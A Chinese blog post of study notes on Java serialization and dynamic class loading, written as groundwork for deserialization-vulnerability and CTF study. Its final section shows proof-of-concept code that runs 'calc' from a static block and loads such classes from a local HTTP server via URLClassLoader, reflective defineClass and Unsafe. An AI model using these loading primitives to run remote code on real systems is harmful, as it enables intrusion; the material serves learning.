java序列化基础知识

java序列化基础知识

Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)_哔哩哔哩_bilibili

随便写个类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TKIZlcI3-1649662374011)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410173136861.png)]

直接对他System.out.println(test);的话是这个效果

image-20220410173215043

为了更加直观,我们给他加个魔术方法__tostring

    public String toString(){
        System.out.println("OneClass{");
        System.out.println("public apple:"+this.apple);
        System.out.println("static banana:"+this.banana);
        System.out.println("protected pear:"+this.pear);
        System.out.println("private grapes:"+this.grapes);
        System.out.println("public transient gold:"+this.gold);
        return "}";
    }

new一个试试

image-20220410174549222

序列化反序列化都需要编写如下的函数

public  static  void  serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}
//用于序列化
public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}
//用于反序列化

调用

serialize(test);
unserialize("ser.bin");

被序列化的类必须继承序列化接口

测试代码

image-20220410174455061

继承后:

public class OneClass  implements Serializable

image-20220410180112629

注意的点:

  • 静态的属性不可以被序列化
  • transeint关键字修饰的不可以被序列化

测试代码

OneClass.java

package org.apache.commons.collections;

import java.io.Serializable;

public class OneClass  implements Serializable
{
    public String apple;
    public static String banana;
    protected String pear;
    private String grapes;
    public transient String gold;

    public OneClass(){

    }

    public OneClass(String apple,String bannana,String pear,String grapes,String gold){
        this.apple = apple;
        this.banana = bannana;
        this.pear = pear;
        this.grapes = grapes;
        this.gold = gold;
    }
    public String toString(){
        System.out.println("OneClass{");
        System.out.println("public apple:"+this.apple);
        System.out.println("static banana:"+this.banana);
        System.out.println("protected pear:"+this.pear);
        System.out.println("private grapes:"+this.grapes);
        System.out.println("public transient gold:"+this.gold);
        return "}";
    }

}

ccone.java

package org.apache.commons.collections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.rmi.CORBA.Tie;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        OneClass test = new OneClass("apple1", "banana2", "pear3", "grapes4", "gold");
//        System.out.println(test);
        serialize(test);
        System.out.println(unserialize("ser.bin"));

    }
}

image-20220410182758131

但是这个static好像赋值附上去了,不懂

transient如果想要赋值的话,想要让他反序列化后能出现我们原本赋予的值,则需要重写readObject

参考vnctf的easyJava

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a1IDND1X-1649662374017)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410181801262.png)]

java的动态加载

image-20220410211633019

参考类的动态加载 - Java反序列化 - CTF知识点 | mikufans = (viewofthai.link)

类加载与反序列化

类加载的时候会执行代码

  • 初始化:

静态代码块

  • 实例化:

构造代码块 、 构造函数

动态类加载方法

  • Class.forname 可以初始化也可以不初始化

  • ClassLoader.loadClass 不进行初始化

测试

Person类

package org.apache.commons.collections;

public class Person {
    private String name;
    static  int age;

    Person(){
        System.out.println("无参构造方法");
    }

    static  void staticfunc(){
        System.out.println("静态方法");
    }

    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }
}

main

public static void main(String[] args) throws Exception {
    Person person = new Person();

}

image-20220410210932184

Person.staticfunc();

image-20220410211155113

结论:类在new(实例化)的时候 无参构造方法,构造代码块,无参构造方法都会被调用,如果使用了静态方法,静态代码块也会被调用

测试

Class.forName("Person");

如果报错classnotfound的话记得加上包名

Class.forName("org.apache.commons.collections.Person");

image-20220410212015012

了解一下forname,跟进

image-20220410212816638

这里设置了个caller,调用了forName0,

跟进

private static native Class<?> forName0(String name, boolean initialize,
                                        ClassLoader loader,
                                        Class<?> caller)
    throws ClassNotFoundException;

然后发现上面还有个forname

image-20220410213034181

这个功能相对完整

阅读后,我们尝试不

Class.forName("org.apache.commons.collections.Person",false,ClassLoader.getSystemClassLoader());

image-20220410213205469

newInstance的时候都加载了

image-20220410213312617

ClassLorder

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CUp2ytzp-1649662374026)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410213520352.png)]

双亲委派机制

image-20220410213549592

ClassLoader abc = ClassLoader.getSystemClassLoader();
Class<?> a = abc.loadClass("org.apache.commons.collections.Person");

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ohJsMx6u-1649662374028)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410213956650.png)]

可以看到我们的loadClass并没有初始化

image-20220410214051330

跟进loadClass

image-20220410214254424

可以看到父类加载的一个递归程序的写法

这里感兴趣的同学可以参考@miku233师傅的(●´3`●)やれやれだぜ (viewofthai.link),跟着他xdebug调一下

利用

URLClassLoader

image-20220410223017997

test.java

import java.io.IOException;

public class test {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
}

命令行里面

javac test.java

生成test.class,把它放到D盘

或者是在idea里面new一个class文件,然后main函数里面在new这个类,最后跑去把class文件复制出来(推荐)

image-20220410221228483

main

package org.apache.commons.collections;

import java.net.URL;
import java.net.URLClassLoader;

public class exp {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\")});
        Class<?> test = urlClassLoader.loadClass("org.apache.commons.collections.test");
        test.newInstance();

    }
}

没有包名的话是这个 Class<?> test = urlClassLoader.loadClass(“test”);

image-20220410222131823

放在服务器上开启http服务python -m http.server 7878

demo

package org.apache.commons.collections;

import java.net.URL;
import java.net.URLClassLoader;

public class exp {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:7878")});
        Class<?> test = urlClassLoader.loadClass("org.apache.commons.collections.test");
        test.newInstance();

    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8gA8x48y-1649662374032)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220410222639593.png)]

ClassLoader.defineClass加载
package org.apache.commons.collections;

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class exp {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D:\\test.class"));
        Class c = (Class) method.invoke(classLoader, "org.apache.commons.collections.test", code, 0, code.length);
        c.newInstance();

    }
}

image-20220410222824941

ClassLoader.class.getDeclaredMethod(“defineClass”, String.class, byte[].class, int.class, int.class);

byte[] code = Files.readAllBytes(Paths.get(“D:\test.class”));

上面是关键代码

Unsafe.definedclass加载

demo

package org.apache.commons.collections;

import sun.misc.Unsafe;

import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class exp {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        byte[] code = Files.readAllBytes(Paths.get("D:\\test.class"));

        Class c = Unsafe.class;
        Field theUnsafe = c.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Class c2 = (Class) unsafe.defineClass("org.apache.commons.collections.test", code, 0, code.length, classLoader, null);
        c2.newInstance();

    }
}

image-20220410223135634

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值